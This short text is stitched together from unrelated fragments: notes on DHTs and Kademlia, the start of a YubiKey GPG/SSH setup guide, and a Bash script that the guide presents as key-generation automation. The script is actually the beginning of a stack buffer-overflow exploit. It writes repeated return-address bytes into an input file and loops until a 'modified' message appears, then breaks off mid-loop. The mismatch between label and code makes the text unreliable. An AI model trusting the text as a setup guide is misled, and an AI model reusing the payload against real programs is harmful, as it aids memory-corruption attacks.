DHT Walkthrough Notes

I've put together these notes as I read about DHT's in depth and then learned how the libtorrent implementation based on the Kademlia paper actually works.

What problem does this solve?

400,000,000,000 (400 billion stars), that's a 4 followed by 11 zeros. The number of atoms in the universe is estimated to be around 10^82. A DHT with keys of 160 bits, can have 2^160 possible numbers, which is around 10^48

YubiKey 4 series GPG and SSH setup guide

Written for fairly adept technical users, preferably of Debian GNU/Linux, not for absolute beginners.

You'll probably be working with a single smartcard, so you'll want only one primary key (1. Sign & Certify) and two associated subkeys (2. Encrypt, 3. Authenticate). I've published a Bash function which automates this slightly special key generation process.

	#!/bin/bash
	ulimit -c 0
	export LIBC_FATAL_STDERR_=1

	python -c 'print "\xcc\x84\x04\x08"*16 + "\x00\x03\x02\x01" + "DDDD"' > input.bin

	output=""
	COUNTER=0
	while [[ ! $output =~ "modified" ]]; do
	MOD=$(( $COUNTER % 1000 ))
